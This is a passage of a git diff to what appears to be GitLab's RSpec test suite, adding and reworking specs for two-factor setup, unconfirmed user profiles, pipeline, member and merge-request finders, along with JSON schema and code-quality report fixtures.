- click_button 'Register with two-factor app'
- click_link 'Proceed'
+ click_link 'Proceed'
- expect(current_path).to eq(profile_account_path)
+ expect(current_path).to eq(profile_account_path)
+ end
+ end
+
+ context 'when `vue_2fa_recovery_codes` feature flag is enabled' do
+ it 'asks to set 2FA before asking to accept the terms', :js do
+ expect(authentication_metrics)
+ .to increment(:user_authenticated_counter)
+
+ visit new_user_session_path
+
+ fill_in 'user_login', with: user.email
+ fill_in 'user_password', with: '12345678'
+
+ click_button 'Sign in'
+
+ expect_to_be_on_terms_page
+ click_button 'Accept terms'
+
+ expect(current_path).to eq(profile_two_factor_auth_path)
+
+ fill_in 'pin_code', with: user.reload.current_otp
+
+ click_button 'Register with two-factor app'
+ click_button 'Copy codes'
+ click_link 'Proceed'
+
+ expect(current_path).to eq(profile_account_path)
+ expect(page).to have_content('Congratulations! You have enabled Two-factor Authentication!')
+ end
end
end
diff --git a/spec/features/users/show_spec.rb b/spec/features/users/show_spec.rb
index aebe2cc602d..6aeb3023db8 100644
--- a/spec/features/users/show_spec.rb
+++ b/spec/features/users/show_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'User page' do
let_it_be(:user) { create(:user, bio: '**Lorem** _ipsum_ dolor sit [amet](https://example.com)') }
- subject { visit(user_path(user)) }
+ subject(:visit_profile) { visit(user_path(user)) }
context 'with public profile' do
it 'shows all the tabs' do
@@ -123,6 +123,47 @@ RSpec.describe 'User page' do
end
end
+ context 'with unconfirmed user' do
+ let_it_be(:user) { create(:user, :unconfirmed) }
+
+ shared_examples 'unconfirmed user profile' do
+ before do
+ visit_profile
+ end
+
+ it 'shows user name as unconfirmed' do
+ expect(page).to have_css(".cover-title", text: 'Unconfirmed user')
+ end
+
+ it 'shows no tab' do
+ expect(page).to have_css("div.profile-header")
+ expect(page).not_to have_css("ul.nav-links")
+ end
+
+ it 'shows no additional fields' do
+ expect(page).not_to have_css(".profile-user-bio")
+ expect(page).not_to have_css(".profile-link-holder")
+ end
+
+ it 'shows private profile message' do
+ expect(page).to have_content("This user has a private profile")
+ end
+ end
+
+ context 'when visited by an authenticated user' do
+ before do
+ authenticated_user = create(:user)
+ sign_in(authenticated_user)
+ end
+
+ it_behaves_like 'unconfirmed user profile'
+ end
+
+ context 'when visited by an unauthenticated user' do
+ it_behaves_like 'unconfirmed user profile'
+ end
+ end
+
it 'shows the status if there was one' do
create(:user_status, user: user, message: "Working hard!")
diff --git a/spec/finders/alert_management/alerts_finder_spec.rb b/spec/finders/alert_management/alerts_finder_spec.rb
index e74f3ac68ed..87a5da38dd1 100644
--- a/spec/finders/alert_management/alerts_finder_spec.rb
+++ b/spec/finders/alert_management/alerts_finder_spec.rb
@@ -8,6 +8,8 @@ RSpec.describe AlertManagement::AlertsFinder, '#execute' do
let_it_be(:resolved_alert) { create(:alert_management_alert, :all_fields, :resolved, project: project, ended_at: 1.year.ago, events: 2, severity: :high) }
let_it_be(:ignored_alert) { create(:alert_management_alert, :all_fields, :ignored, project: project, events: 1, severity: :critical) }
let_it_be(:triggered_alert) { create(:alert_management_alert, :all_fields) }
+ let_it_be(:threat_monitroing_alert) { create(:alert_management_alert, domain: 'threat_monitoring') }
+
let(:params) { {} }
describe '#execute' do
@@ -22,6 +24,26 @@ RSpec.describe AlertManagement::AlertsFinder, '#execute' do
project.add_developer(current_user)
end
+ context 'domain' do
+ context 'domain is threat management' do
+ let(:params) { { domain: 'threat_management' } }
+
+ it { is_expected.to contain_exactly(resolved_alert, ignored_alert) }
+ end
+
+ context 'domain is unknown' do
+ let(:params) { { domain: 'unkown' } }
+
+ it { is_expected.to contain_exactly(resolved_alert, ignored_alert) }
+ end
+
+ context 'domain is missing' do
+ let(:params) { {} }
+
+ it { is_expected.to contain_exactly(resolved_alert, ignored_alert) }
+ end
+ end
+
context 'empty params' do
it { is_expected.to contain_exactly(resolved_alert, ignored_alert) }
end
@@ -233,12 +255,6 @@ RSpec.describe AlertManagement::AlertsFinder, '#execute' do
it { is_expected.to be_empty }
end
-
- context 'empty search' do
- let(:params) { { search: ' ' } }
-
- it { is_expected.not_to include(alert) }
- end
end
context 'assignee username given' do
@@ -257,12 +273,6 @@ RSpec.describe AlertManagement::AlertsFinder, '#execute' do
it { is_expected.to be_empty }
end
-
- context 'with empty assignee_username' do
- let(:username) { ' ' }
-
- it { is_expected.not_to include(alert) }
- end
end
end
end
diff --git a/spec/finders/ci/daily_build_group_report_results_finder_spec.rb b/spec/finders/ci/daily_build_group_report_results_finder_spec.rb
index c0434b5f371..28a732fda82 100644
--- a/spec/finders/ci/daily_build_group_report_results_finder_spec.rb
+++ b/spec/finders/ci/daily_build_group_report_results_finder_spec.rb
@@ -4,57 +4,77 @@ require 'spec_helper'
RSpec.describe Ci::DailyBuildGroupReportResultsFinder do
describe '#execute' do
- let(:project) { create(:project, :private) }
- let(:ref_path) { 'refs/heads/master' }
+ let_it_be(:project) { create(:project, :private) }
+ let_it_be(:current_user) { project.owner }
+ let_it_be(:ref_path) { 'refs/heads/master' }
let(:limit) { nil }
+ let_it_be(:default_branch) { false }
- let!(:rspec_coverage_1) { create_daily_coverage('rspec', 79.0, '2020-03-09') }
- let!(:karma_coverage_1) { create_daily_coverage('karma', 89.0, '2020-03-09') }
- let!(:rspec_coverage_2) { create_daily_coverage('rspec', 95.0, '2020-03-10') }
- let!(:karma_coverage_2) { create_daily_coverage('karma', 92.0, '2020-03-10') }
- let!(:rspec_coverage_3) { create_daily_coverage('rspec', 97.0, '2020-03-11') }
- let!(:karma_coverage_3) { create_daily_coverage('karma', 99.0, '2020-03-11') }
+ let_it_be(:rspec_coverage_1) { create_daily_coverage('rspec', 79.0, '2020-03-09') }
+ let_it_be(:karma_coverage_1) { create_daily_coverage('karma', 89.0, '2020-03-09') }
+ let_it_be(:rspec_coverage_2) { create_daily_coverage('rspec', 95.0, '2020-03-10') }
+ let_it_be(:karma_coverage_2) { create_daily_coverage('karma', 92.0, '2020-03-10') }
+ let_it_be(:rspec_coverage_3) { create_daily_coverage('rspec', 97.0, '2020-03-11') }
+ let_it_be(:karma_coverage_3) { create_daily_coverage('karma', 99.0, '2020-03-11') }
- subject do
- described_class.new(
+ let(:attributes) do
+ {
current_user: current_user,
project: project,
ref_path: ref_path,
start_date: '2020-03-09',
end_date: '2020-03-10',
limit: limit
- ).execute
+ }
end
- context 'when current user is allowed to read build report results' do
- let(:current_user) { project.owner }
+ subject(:coverages) do
+ described_class.new(**attributes).execute
+ end
+
+ context 'when ref_path is present' do
+ context 'when current user is allowed to read build report results' do
+ it 'returns all matching results within the given date range' do
+ expect(coverages).to match_array([
+ karma_coverage_2,
+ rspec_coverage_2,
+ karma_coverage_1,
+ rspec_coverage_1
+ ])
+ end
+
+ context 'and limit is specified' do
+ let(:limit) { 2 }
- it 'returns all matching results within the given date range' do
- expect(subject).to match_array([
- karma_coverage_2,
- rspec_coverage_2,
- karma_coverage_1,
- rspec_coverage_1
- ])
+ it 'returns limited number of matching results within the given date range' do
+ expect(coverages).to match_array([
+ karma_coverage_2,
+ rspec_coverage_2
+ ])
+ end
+ end
end
- context 'and limit is specified' do
- let(:limit) { 2 }
+ context 'when current user is not allowed to read build report results' do
+ let(:current_user) { create(:user) }
- it 'returns limited number of matching results within the given date range' do
- expect(subject).to match_array([
- karma_coverage_2,
- rspec_coverage_2
- ])
+ it 'returns an empty result' do
+ expect(coverages).to be_empty
end
end
end
- context 'when current user is not allowed to read build report results' do
- let(:current_user) { create(:user) }
+ context 'when ref_path is not present' do
+ let(:ref_path) { nil }
- it 'returns an empty result' do
- expect(subject).to be_empty
+ context 'when coverages exist for the default branch' do
+ let(:default_branch) { true }
+
+ it 'returns coverage for the default branch' do
+ rspec_coverage_4 = create_daily_coverage('rspec', 66.0, '2020-03-10')
+
+ expect(coverages).to contain_exactly(rspec_coverage_4)
+ end
end
end
end
@@ -65,10 +85,11 @@ RSpec.describe Ci::DailyBuildGroupReportResultsFinder do
create(
:ci_daily_build_group_report_result,
project: project,
- ref_path: ref_path,
+ ref_path: ref_path || 'feature-branch',
group_name: group_name,
data: { 'coverage' => coverage },
- date: date
+ date: date,
+ default_branch: default_branch
)
end
end
diff --git a/spec/finders/ci/pipeline_schedules_finder_spec.rb b/spec/finders/ci/pipeline_schedules_finder_spec.rb
index 57842bbecd7..535c684289e 100644
--- a/spec/finders/ci/pipeline_schedules_finder_spec.rb
+++ b/spec/finders/ci/pipeline_schedules_finder_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Ci::PipelineSchedulesFinder do
let!(:active_schedule) { create(:ci_pipeline_schedule, project: project) }
let!(:inactive_schedule) { create(:ci_pipeline_schedule, :inactive, project: project) }
- subject { described_class.new(project).execute(params) }
+ subject { described_class.new(project).execute(**params) }
describe "#execute" do
context 'when the scope is nil' do
diff --git a/spec/finders/ci/pipelines_finder_spec.rb b/spec/finders/ci/pipelines_finder_spec.rb
index a2a714689ba..16561aa65b6 100644
--- a/spec/finders/ci/pipelines_finder_spec.rb
+++ b/spec/finders/ci/pipelines_finder_spec.rb
@@ -72,7 +72,7 @@ RSpec.describe Ci::PipelinesFinder do
create(:ci_sources_pipeline, pipeline: child_pipeline, source_pipeline: parent_pipeline)
end
- it 'filters out child pipelines and show only the parents' do
+ it 'filters out child pipelines and shows only the parents by default' do
is_expected.to eq([parent_pipeline])
end
end
@@ -195,6 +195,21 @@ RSpec.describe Ci::PipelinesFinder do
end
end
+ context 'when iids filter is specified' do
+ let(:params) { { iids: [pipeline1.iid, pipeline3.iid] } }
+ let!(:pipeline1) { create(:ci_pipeline, project: project) }
+ let!(:pipeline2) { create(:ci_pipeline, project: project) }
+ let!(:pipeline3) { create(:ci_pipeline, project: project, source: :parent_pipeline) }
+
+ it 'returns matches pipelines' do
+ is_expected.to match_array([pipeline1, pipeline3])
+ end
+
+ it 'does not fitler out child pipelines' do
+ is_expected.to include(pipeline3)
+ end
+ end
+
context 'when sha is specified' do
let!(:pipeline) { create(:ci_pipeline, project: project, sha: '97de212e80737a608d939f648d959671fb0a0142') }
diff --git a/spec/finders/ci/pipelines_for_merge_request_finder_spec.rb b/spec/finders/ci/pipelines_for_merge_request_finder_spec.rb
index 65f6dc0ba74..64b3c46e122 100644
--- a/spec/finders/ci/pipelines_for_merge_request_finder_spec.rb
+++ b/spec/finders/ci/pipelines_for_merge_request_finder_spec.rb
@@ -225,6 +225,24 @@ RSpec.describe Ci::PipelinesForMergeRequestFinder do
branch_pipeline_2,
branch_pipeline])
end
+
+ context 'when ci_pipelines_for_merge_request_finder_new_cte feature flag is disabled' do
+ before do
+ stub_feature_flags(ci_pipelines_for_merge_request_finder_new_cte: false)
+ end
+
+ it 'returns only related merge request pipelines' do
+ expect(subject.all)
+ .to eq([detached_merge_request_pipeline,
+ branch_pipeline_2,
+ branch_pipeline])
+
+ expect(described_class.new(merge_request_2, nil).all)
+ .to eq([detached_merge_request_pipeline_2,
+ branch_pipeline_2,
+ branch_pipeline])
+ end
+ end
end
context 'when detached merge request pipeline is run on head ref of the merge request' do
diff --git a/spec/finders/feature_flags_finder_spec.rb b/spec/finders/feature_flags_finder_spec.rb
index 870447a1286..8744a186212 100644
--- a/spec/finders/feature_flags_finder_spec.rb
+++ b/spec/finders/feature_flags_finder_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe FeatureFlagsFinder do
end
describe '#execute' do
- subject { finder.execute(args) }
+ subject { finder.execute(**args) }
let!(:feature_flag_1) { create(:operations_feature_flag, name: 'flag-a', project: project) }
let!(:feature_flag_2) { create(:operations_feature_flag, name: 'flag-b', project: project) }
@@ -80,15 +80,5 @@ RSpec.describe FeatureFlagsFinder do
is_expected.to eq([feature_flag_1, feature_flag_2, feature_flag_3])
end
end
-
- context 'when new version flags are disabled' do
- let!(:feature_flag_3) { create(:operations_feature_flag, :new_version_flag, name: 'flag-c', project: project) }
-
- it 'returns only legacy flags' do
- stub_feature_flags(feature_flags_new_version: false)
-
- is_expected.to eq([feature_flag_1, feature_flag_2])
- end
- end
end
end
diff --git a/spec/finders/fork_projects_finder_spec.rb b/spec/finders/fork_projects_finder_spec.rb
index 9e58378b953..2b2e4c0d618 100644
--- a/spec/finders/fork_projects_finder_spec.rb
+++ b/spec/finders/fork_projects_finder_spec.rb
@@ -14,8 +14,6 @@ RSpec.describe ForkProjectsFinder do
let(:private_fork_member) { create(:user) }
before do
- stub_feature_flags(object_pools: source_project)
-
private_fork.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
private_fork.add_developer(private_fork_member)
diff --git a/spec/finders/group_descendants_finder_spec.rb b/spec/finders/group_descendants_finder_spec.rb
index b66d0ffce87..3c3bb13a629 100644
--- a/spec/finders/group_descendants_finder_spec.rb
+++ b/spec/finders/group_descendants_finder_spec.rb
@@ -77,9 +77,9 @@ RSpec.describe GroupDescendantsFinder do
end
end
- it 'sorts elements by latest created as default' do
- project1 = create(:project, namespace: group, created_at: 1.hour.ago)
- project2 = create(:project, namespace: group)
+ it 'sorts elements by name as default' do
+ project1 = create(:project, namespace: group, name: 'z')
+ project2 = create(:project, namespace: group, name: 'a')
expect(subject.execute).to eq([project2, project1])
end
diff --git a/spec/finders/group_members_finder_spec.rb b/spec/finders/group_members_finder_spec.rb
index 67e7de5921a..a87a05d4408 100644
--- a/spec/finders/group_members_finder_spec.rb
+++ b/spec/finders/group_members_finder_spec.rb
@@ -129,4 +129,48 @@ RSpec.describe GroupMembersFinder, '#execute' do
expect(result.to_a).not_to include(member_with_2fa)
expect(result.to_a).to match_array([member1, member2])
end
+
+ it 'returns direct members with two-factor auth if requested by owner' do
+ group.add_owner(user1)
+ group.add_maintainer(user2)
+ nested_group.add_maintainer(user3)
+ member_with_2fa = nested_group.add_maintainer(user5)
+
+ result = described_class.new(nested_group, user1, params: { two_factor: 'enabled' }).execute(include_relations: [:direct])
+
+ expect(result.to_a).to match_array([member_with_2fa])
+ end
+
+ it 'returns inherited members with two-factor auth if requested by owner' do
+ group.add_owner(user1)
+ member_with_2fa = group.add_maintainer(user5)
+ nested_group.add_maintainer(user2)
+ nested_group.add_maintainer(user3)
+
+ result = described_class.new(nested_group, user1, params: { two_factor: 'enabled' }).execute(include_relations: [:inherited])
+
+ expect(result.to_a).to match_array([member_with_2fa])
+ end
+
+ it 'returns direct members without two-factor auth if requested by owner' do
+ group.add_owner(user1)
+ group.add_maintainer(user2)
+ member3 = nested_group.add_maintainer(user3)
+ nested_group.add_maintainer(user5)
+
+ result = described_class.new(nested_group, user1, params: { two_factor: 'disabled' }).execute(include_relations: [:direct])
+
+ expect(result.to_a).to match_array([member3])
+ end
+
+ it 'returns inherited members without two-factor auth if requested by owner' do
+ member1 = group.add_owner(user1)
+ group.add_maintainer(user5)
+ nested_group.add_maintainer(user2)
+ nested_group.add_maintainer(user3)
+
+ result = described_class.new(nested_group, user1, params: { two_factor: 'disabled' }).execute(include_relations: [:inherited])
+
+ expect(result.to_a).to match_array([member1])
+ end
end
diff --git a/spec/finders/issues_finder_spec.rb b/spec/finders/issues_finder_spec.rb
index 3c3bf1a8870..0def3412aa7 100644
--- a/spec/finders/issues_finder_spec.rb
+++ b/spec/finders/issues_finder_spec.rb
@@ -472,10 +472,6 @@ RSpec.describe IssuesFinder do
it 'returns issues with title and description match for search term' do
expect(issues).to contain_exactly(issue1, issue2)
end
-
- it 'uses optimizer hints' do
- expect(issues.to_sql).to match(/BitmapScan/)
- end
end
context 'filtering by issue term in title' do
diff --git a/spec/finders/members_finder_spec.rb b/spec/finders/members_finder_spec.rb
index 3530858e2de..d25e1b9ca4b 100644
--- a/spec/finders/members_finder_spec.rb
+++ b/spec/finders/members_finder_spec.rb
@@ -160,8 +160,8 @@ RSpec.describe MembersFinder, '#execute' do
expect(result).to eq([member3, member2, member1])
end
- context 'when include_invited_groups_members == true' do
- subject { described_class.new(project, user2).execute(include_relations: [:inherited, :direct, :invited_groups_members]) }
+ context 'when :invited_groups is passed' do
+ subject { described_class.new(project, user2).execute(include_relations: [:inherited, :direct, :invited_groups]) }
let_it_be(:linked_group) { create(:group, :public) }
let_it_be(:nested_linked_group) { create(:group, parent: linked_group) }
diff --git a/spec/finders/merge_requests_finder_spec.rb b/spec/finders/merge_requests_finder_spec.rb
index 68958e37001..7b59b581b1c 100644
--- a/spec/finders/merge_requests_finder_spec.rb
+++ b/spec/finders/merge_requests_finder_spec.rb
@@ -333,6 +333,8 @@ RSpec.describe MergeRequestsFinder do
end
context 'assignee filtering' do
+ let_it_be(:user3) { create(:user) }
+
let(:issuables) { described_class.new(user, params).execute }
it_behaves_like 'assignee ID filter' do
@@ -351,7 +353,6 @@ RSpec.describe MergeRequestsFinder do
merge_request3.assignees = [user2, user3]
end
- let_it_be(:user3) { create(:user) }
let(:params) { { assignee_username: [user2.username, user3.username] } }
let(:expected_issuables) { [merge_request3] }
end
@@ -366,38 +367,95 @@ RSpec.describe MergeRequestsFinder do
end
it_behaves_like 'no assignee filter' do
- let_it_be(:user3) { create(:user) }
let(:expected_issuables) { [merge_request4, merge_request5] }
end
it_behaves_like 'any assignee filter' do
let(:expected_issuables) { [merge_request1, merge_request2, merge_request3] }
end
+ end
- context 'filtering by group milestone' do
- let(:group_milestone) { create(:milestone, group: group) }
+ context 'reviewer filtering' do
+ subject { described_class.new(user, params).execute }
- before do
- merge_request1.update!(milestone: group_milestone)
- merge_request2.update!(milestone: group_milestone)
- end
+ context 'by reviewer_id' do
+ let(:params) { { reviewer_id: user2.id } }
+ let(:expected_mr) { [merge_request1, merge_request2] }
- it 'returns merge requests assigned to that group milestone' do
- params = { milestone_title: group_milestone.title }
+ it { is_expected.to contain_exactly(*expected_mr) }
+ end
- merge_requests = described_class.new(user, params).execute
+ context 'by NOT reviewer_id' do
+ let(:params) { { not: { reviewer_id: user2.id } } }
+ let(:expected_mr) { [merge_request3, merge_request4, merge_request5] }
- expect(merge_requests).to contain_exactly(merge_request1, merge_request2)
- end
+ it { is_expected.to contain_exactly(*expected_mr) }
+ end
- context 'using NOT' do
- let(:params) { { not: { milestone_title: group_milestone.title } } }
+ context 'by reviewer_username' do
+ let(:params) { { reviewer_username: user2.username } }
+ let(:expected_mr) { [merge_request1, merge_request2] }
- it 'returns MRs not assigned to that group milestone' do
- merge_requests = described_class.new(user, params).execute
+ it { is_expected.to contain_exactly(*expected_mr) }
+ end
- expect(merge_requests).to contain_exactly(merge_request3, merge_request4, merge_request5)
- end
+ context 'by NOT reviewer_username' do
+ let(:params) { { not: { reviewer_username: user2.username } } }
+ let(:expected_mr) { [merge_request3, merge_request4, merge_request5] }
+
+ it { is_expected.to contain_exactly(*expected_mr) }
+ end
+
+ context 'by reviewer_id=None' do
+ let(:params) { { reviewer_id: 'None' } }
+ let(:expected_mr) { [merge_request4, merge_request5] }
+
+ it { is_expected.to contain_exactly(*expected_mr) }
+ end
+
+ context 'by reviewer_id=Any' do
+ let(:params) { { reviewer_id: 'Any' } }
+ let(:expected_mr) { [merge_request1, merge_request2, merge_request3] }
+
+ it { is_expected.to contain_exactly(*expected_mr) }
+ end
+
+ context 'by reviewer_id with unknown user' do
+ let(:params) { { reviewer_id: 99999 } }
+
+ it { is_expected.to be_empty }
+ end
+
+ context 'by NOT reviewer_id with unknown user' do
+ let(:params) { { not: { reviewer_id: 99999 } } }
+
+ it { is_expected.to be_empty }
+ end
+ end
+
+ context 'filtering by group milestone' do
+ let(:group_milestone) { create(:milestone, group: group) }
+
+ before do
+ merge_request1.update!(milestone: group_milestone)
+ merge_request2.update!(milestone: group_milestone)
+ end
+
+ it 'returns merge requests assigned to that group milestone' do
+ params = { milestone_title: group_milestone.title }
+
+ merge_requests = described_class.new(user, params).execute
+
+ expect(merge_requests).to contain_exactly(merge_request1, merge_request2)
+ end
+
+ context 'using NOT' do
+ let(:params) { { not: { milestone_title: group_milestone.title } } }
+
+ it 'returns MRs not assigned to that group milestone' do
+ merge_requests = described_class.new(user, params).execute
+
+ expect(merge_requests).to contain_exactly(merge_request3, merge_request4, merge_request5)
end
end
end
@@ -563,6 +621,28 @@ RSpec.describe MergeRequestsFinder do
expect(mrs).to eq([mr2])
end
end
+
+ it 'does not raise any exception with complex filters' do
+ # available filters from MergeRequest dashboard UI
+ params = {
+ project_id: project1.id,
+ scope: 'authored',
+ state: 'opened',
+ author_username: user.username,
+ assignee_username: user.username,
+ reviewer_username: user.username,
+ approver_usernames: [user.username],
+ approved_by_usernames: [user.username],
+ milestone_title: 'none',
+ release_tag: 'none',
+ label_names: 'none',
+ my_reaction_emoji: 'none',
+ draft: 'no'
+ }
+
+ merge_requests = described_class.new(user, params).execute
+ expect { merge_requests.load }.not_to raise_error
+ end
end
describe '#row_count', :request_store do
diff --git a/spec/finders/releases/evidence_pipeline_finder_spec.rb b/spec/finders/releases/evidence_pipeline_finder_spec.rb
new file mode 100644
index 00000000000..8c435f7b0b6
--- /dev/null
+++ b/spec/finders/releases/evidence_pipeline_finder_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Releases::EvidencePipelineFinder, '#execute' do
+ let(:params) { {} }
+ let(:project) { create(:project, :repository) }
+ let(:tag_name) { project.repository.tag_names.first }
+ let(:sha) { project.repository.find_tag(tag_name).dereferenced_target.sha }
+ let!(:pipeline) { create(:ci_empty_pipeline, sha: sha, project: project) }
+
+ subject { described_class.new(project, params).execute }
+
+ context 'when the tag is passed' do
+ let(:params) { { tag: tag_name } }
+
+ it 'returns the evidence pipeline' do
+ expect(subject).to eq(pipeline)
+ end
+ end
+
+ context 'when the ref is passed' do
+ let(:params) { { ref: sha } }
+
+ it 'returns the evidence pipeline' do
+ expect(subject).to eq(pipeline)
+ end
+ end
+
+ context 'empty params' do
+ it 'returns nil' do
+ expect(subject).to be_nil
+ end
+ end
+
+ # TODO: remove this with the release creation moved to it's own form https://gitlab.com/gitlab-org/gitlab/-/issues/214245
+ context 'params[:evidence_pipeline] is present' do
+ let(:params) { { evidence_pipeline: pipeline } }
+
+ it 'returns the passed evidence pipeline' do
+ expect(subject).to eq(pipeline)
+ end
+ end
+end
diff --git a/spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json b/spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json
new file mode 100644
index 00000000000..eab8b626876
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json
@@ -0,0 +1,30 @@
+{
+ "type": "object",
+ "properties": {
+ "edit": { "type": "string" },
+ "approve": { "type": "string" },
+ "reject": { "type": "string" },
+ "unblock": { "type": "string" },
+ "block": { "type": "string" },
+ "deactivate": { "type": "string" },
+ "activate": { "type": "string" },
+ "unlock": { "type": "string" },
+ "delete": { "type": "string" },
+ "delete_with_contributions": { "type": "string" },
+ "admin_user": { "type": "string" }
+ },
+ "required": [
+ "edit",
+ "approve",
+ "reject",
+ "unblock",
+ "block",
+ "deactivate",
+ "activate",
+ "unlock",
+ "delete",
+ "delete_with_contributions",
+ "admin_user"
+ ],
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/entities/codequality_degradation.json b/spec/fixtures/api/schemas/entities/codequality_degradation.json
new file mode 100644
index 00000000000..6cf20ee8b9e
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/codequality_degradation.json
@@ -0,0 +1,24 @@
+{
+ "type": "object",
+ "required": [
+ "description",
+ "severity",
+ "file_path",
+ "line"
+ ],
+ "properties": {
+ "description": {
+ "type": "string"
+ },
+ "severity": {
+ "type": "string"
+ },
+ "file_path": {
+ "type": "string"
+ },
+ "line": {
+ "type": "integer"
+ }
+ },
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/entities/codequality_reports_comparer.json b/spec/fixtures/api/schemas/entities/codequality_reports_comparer.json
new file mode 100644
index 00000000000..afe82f5e632
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/codequality_reports_comparer.json
@@ -0,0 +1,43 @@
+{
+ "type": "object",
+ "required": ["status", "summary", "new_errors", "resolved_errors", "existing_errors"],
+ "properties": {
+ "status": {
+ "type": "string"
+ },
+ "summary": {
+ "type": "object",
+ "properties": {
+ "total": {
+ "type": "integer"
+ },
+ "resolved": {
+ "type": "integer"
+ },
+ "errored": {
+ "type": "integer"
+ }
+ },
+ "required": ["total", "resolved", "errored"]
+ },
+ "new_errors": {
+ "type": "array",
+ "items": {
+ "$ref": "codequality_degradation.json"
+ }
+ },
+ "resolved_errors": {
+ "type": "array",
+ "items": {
+ "$ref": "codequality_degradation.json"
+ }
+ },
+ "existing_errors": {
+ "type": "array",
+ "items": {
+ "$ref": "codequality_degradation.json"
+ }
+ }
+ },
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/entities/merge_request_widget.json b/spec/fixtures/api/schemas/entities/merge_request_widget.json
index e2df7952d8f..c90f7af5892 100644
--- a/spec/fixtures/api/schemas/entities/merge_request_widget.json
+++ b/spec/fixtures/api/schemas/entities/merge_request_widget.json
@@ -14,6 +14,7 @@
"merge_request_cached_widget_path": { "type": "string" },
"commit_change_content_path": { "type": "string" },
"conflicts_docs_path": { "type": ["string", "null"] },
+ "reviewing_and_managing_merge_requests_docs_path": { "type": ["string", "null"] },
"merge_request_pipelines_docs_path": { "type": ["string", "null"] },
"ci_environments_status_path": { "type": "string" },
"issues_links": {
diff --git a/spec/fixtures/api/schemas/entities/note_user_entity.json b/spec/fixtures/api/schemas/entities/note_user_entity.json
index 4a27d885cdc..e2bbaad7201 100644
--- a/spec/fixtures/api/schemas/entities/note_user_entity.json
+++ b/spec/fixtures/api/schemas/entities/note_user_entity.json
@@ -15,6 +15,7 @@
"path": { "type": "string" },
"name": { "type": "string" },
"username": { "type": "string" },
- "status_tooltip_html": { "$ref": "../types/nullable_string.json" }
+ "status_tooltip_html": { "$ref": "../types/nullable_string.json" },
+ "show_status": { "type": "boolean" }
}
}
diff --git a/spec/fixtures/api/schemas/graphql/container_repository.json b/spec/fixtures/api/schemas/graphql/container_repository.json
index e252bedab82..04e67f73844 100644
--- a/spec/fixtures/api/schemas/graphql/container_repository.json
+++ b/spec/fixtures/api/schemas/graphql/container_repository.json
@@ -1,6 +1,6 @@
{
"type": "object",
- "required": ["id", "name", "path", "location", "createdAt", "updatedAt", "tagsCount", "canDelete", "expirationPolicyCleanupStatus"],
+ "required": ["id", "name", "path", "location", "createdAt", "updatedAt", "tagsCount", "canDelete", "expirationPolicyCleanupStatus", "project"],
"properties": {
"id": {
"type": "string"
@@ -35,6 +35,9 @@
"expirationPolicyCleanupStatus": {
"type": "string",
"enum": ["UNSCHEDULED", "SCHEDULED", "UNFINISHED", "ONGOING"]
+ },
+ "project": {
+ "type": "object"
}
}
}
diff --git a/spec/fixtures/api/schemas/list.json b/spec/fixtures/api/schemas/list.json
index f894ff584c8..65e140f9e28 100644
--- a/spec/fixtures/api/schemas/list.json
+++ b/spec/fixtures/api/schemas/list.json
@@ -10,7 +10,7 @@
"id": { "type": "integer" },
"list_type": {
"type": "string",
- "enum": ["backlog", "label", "closed"]
+ "enum": ["backlog", "label", "iteration", "closed"]
},
"label": {
"type": ["object", "null"],
diff --git a/spec/fixtures/api/schemas/public_api/v4/issue_link.json b/spec/fixtures/api/schemas/public_api/v4/issue_link.json
index 000e8485aca..588d63c2dcf 100644
--- a/spec/fixtures/api/schemas/public_api/v4/issue_link.json
+++ b/spec/fixtures/api/schemas/public_api/v4/issue_link.json
@@ -14,7 +14,9 @@
"link_type": {
"type": "string",
"enum": ["relates_to", "blocks", "is_blocked_by"]
- }
+ },
+ "link_created_at": { "type": "date" },
+ "link_updated_at": { "type": "date" }
},
"required" : [ "source_issue", "target_issue", "link_type" ]
}
diff --git a/spec/fixtures/cobertura/coverage_with_paths_not_relative_to_project_root.xml.gz b/spec/fixtures/cobertura/coverage_with_paths_not_relative_to_project_root.xml.gz
new file mode 100644
index 00000000000..c4adc63fcce
--- /dev/null
+++ b/spec/fixtures/cobertura/coverage_with_paths_not_relative_to_project_root.xml.gz
Binary files differ
diff --git a/spec/fixtures/codequality/codeclimate.json b/spec/fixtures/codequality/codeclimate.json
new file mode 100644
index 00000000000..ceb28006304
--- /dev/null
+++ b/spec/fixtures/codequality/codeclimate.json
@@ -0,0 +1,76 @@
+[
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ },
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_backwards_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "f3bdc1e8c102ba5fbd9e7f6cda51c95e",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 14,
+ "end": 14
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ },
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "categories": [
+ "Complexity"
+ ],
+ "remediation_points": 550000,
+ "location": {
+ "path": "foo.rb",
+ "positions": {
+ "begin": {
+ "column": 24,
+ "line": 14
+ },
+ "end": {
+ "column": 49,
+ "line": 14
+ }
+ }
+ },
+ "content": {
